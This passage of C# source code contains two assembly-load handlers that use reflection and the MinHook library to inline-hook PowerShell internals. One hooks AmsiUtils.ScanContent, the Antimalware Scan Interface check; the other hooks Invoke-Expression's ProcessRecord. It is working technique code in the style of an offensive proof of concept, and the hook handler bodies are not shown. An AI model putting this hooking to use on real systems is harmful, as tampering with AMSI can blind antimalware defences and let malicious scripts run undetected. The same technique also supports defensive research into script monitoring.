OnAssemblyLoad(
object Sender,
AssemblyLoadEventArgs Args
)
{
//
// STEP1: Wait for System.Management.Automation (SMA)
//
string assemblyName = Args.LoadedAssembly.GetName().Name;
Console.WriteLine("[*] Loading assembly " + assemblyName);
if (assemblyName != "System.Management.Automation")
{
return;
}
AppDomain.CurrentDomain.AssemblyLoad -= s_EventHandler;
Assembly smaAssembly = Args.LoadedAssembly;
//
// You may want to break into a debugger for debugging.
//
//Debugger.Launch();
//
// STEP2: Determine a version of SMA
//
// Need a version of SMA since the ScanContent method exists only
// in PowerShell v5 or later. PowerShell version can be obtained
// via the PSVersion property of the PSVersionInfo class.
//
Type psVersionInfo = smaAssembly.GetType(
"System.Management.Automation.PSVersionInfo");
PropertyInfo psVersion = psVersionInfo.GetProperty(
"PSVersion",
BindingFlags.Static | BindingFlags.NonPublic,
null,
typeof(Version),
Type.EmptyTypes,
null);
var version = (Version)psVersion.GetValue(null, null);
if (version.Major != 5)
{
Console.WriteLine("[-] Unsupported PowerShell version detected.");
return;
}
//
// STEP3: Find methods via reflection
//
// We need tree methods per target method:
// target - A method to be hooked. It normally exists out side of
// our code.
// handler - A detour method to be called instead of the target
// method after a hook is installed.
// trampoline - A method used to call an original of the target
// method after a hook is installed.
//
const BindingFlags anyType = BindingFlags.Static |
BindingFlags.Instance |
BindingFlags.Public |
BindingFlags.NonPublic;
//
// Indicates what parameters the methods take. Reflection requires
// this information on the top of a method name since a method can
// be overloaded for a different set of parameters.
//
// In our case, the methods are defined as follows:
// static AMSI_RESULT ScanContent(string Content,
// string SourceMetadata);
// static AMSI_RESULT ScanContentHookHandler(string Content,
// string SourceMetadata);
// static AMSI_RESULT ScanContentTrampoline(string Content,
// string SourceMetadata);
//
var targetMethodType = new Type[] { typeof(string), typeof(string), };
var handlerMethodType = new Type[] { typeof(string), typeof(string), };
var trampolineMethodType = new Type[] { typeof(string), typeof(string), };
Type targetMethodClass = smaAssembly.GetType(
"System.Management.Automation.AmsiUtils");
Type handlerMethodClass = typeof(HookScanContent);
Type trampolineMethodClass = typeof(HookScanContent);
MethodInfo target = targetMethodClass.GetMethod(
"ScanContent",
anyType,
null,
targetMethodType,
null);
MethodInfo hookHandler = handlerMethodClass.GetMethod(
"ScanContentHookHandler",
anyType,
null,
handlerMethodType,
null);
MethodInfo trampoline = trampolineMethodClass.GetMethod(
"ScanContentTrampoline",
anyType,
null,
trampolineMethodType,
null);
//
// STEP4: Get addresses of native code of the methods
//
RuntimeHelpers.PrepareMethod(target.MethodHandle);
RuntimeHelpers.PrepareMethod(hookHandler.MethodHandle);
RuntimeHelpers.PrepareMethod(trampoline.MethodHandle);
IntPtr targetAddr = target.MethodHandle.GetFunctionPointer();
IntPtr hookHandlerAddr = hookHandler.MethodHandle.GetFunctionPointer();
IntPtr trampolineAddr = trampoline.MethodHandle.GetFunctionPointer();
//
// STEP5: Install a hook on to the target method
//
// Overwrite native code of the ScanContent method. This is standard
// inline hooking, only differences are that we initiate hooking
// from C# (typically C/C++) and a target is compiled .NET native
// code.
//
// This example code uses MinHook (https://github.com/TsudaKageyu/minhook)
// for installing hooks since the author did not find any suitable
// inline hooking library for C#.
//
if (!MinHook.InstallHook(targetAddr, hookHandlerAddr, trampolineAddr))
{
return;
}
//
// STEP6: PROFIT!
//
Console.WriteLine("[*] The ScanContent method has been hooked.");
}
OnAssemblyLoad(
object Sender,
AssemblyLoadEventArgs Args
)
{
//
// STEP1: Wait for Microsoft.PowerShell.Commands.Utility (MPCU)
//
string assemblyName = Args.LoadedAssembly.GetName().Name;
Console.WriteLine("[*] Loading assembly " + assemblyName);
if (assemblyName != "Microsoft.PowerShell.Commands.Utility")
{
return;
}
AppDomain.CurrentDomain.AssemblyLoad -= s_EventHandler;
Assembly mpcuAssembly = Args.LoadedAssembly;
//
// You may want to break into a debugger for debugging.
//
//Debugger.Launch();
//
// STEP2: Find methods via reflection
//
const BindingFlags anyType = BindingFlags.Static |
BindingFlags.Instance |
BindingFlags.Public |
BindingFlags.NonPublic;
var targetMethodType = Type.EmptyTypes;
var handlerMethodType = new Type[] { typeof(HookProcessRecord), };
var trampolineMethodType = Type.EmptyTypes;
Type targetMethodClass = mpcuAssembly.GetType(
"Microsoft.PowerShell.Commands.InvokeExpressionCommand");
Type handlerMethodClass = typeof(HookProcessRecord);
Type trampolineMethodClass = typeof(HookProcessRecord);
MethodInfo target = targetMethodClass.GetMethod(
"ProcessRecord",
anyType,
null,
targetMethodType,
null);
MethodInfo hookHandler = handlerMethodClass.GetMethod(
"ProcessRecordHookHandler",
anyType,
null,
handlerMethodType,
null);
MethodInfo trampoline = trampolineMethodClass.GetMethod(
"ProcessRecordTrampoline",
anyType,
null,
trampolineMethodType,
null);
//
// STEP4: Get addresses of native code of the methods
//
RuntimeHelpers.PrepareMethod(target.MethodHandle);
RuntimeHelpers.PrepareMethod(hookHandler.MethodHandle);
RuntimeHelpers.PrepareMethod(trampoline.MethodHandle);
IntPtr targetAddr = target.MethodHandle.GetFunctionPointer();
IntPtr hookHandlerAddr = hookHandler.MethodHandle.GetFunctionPointer();
IntPtr trampolineAddr = trampoline.MethodHandle.GetFunctionPointer();
//
// STEP5: Install a hook on to the target method
//
if (!MinHook.InstallHook(targetAddr, hookHandlerAddr, trampolineAddr))
{
return;
}
//
// STEP6: PROFIT!
//
Console.WriteLine("[*] The ProcessRecord method has been hooked.");
}
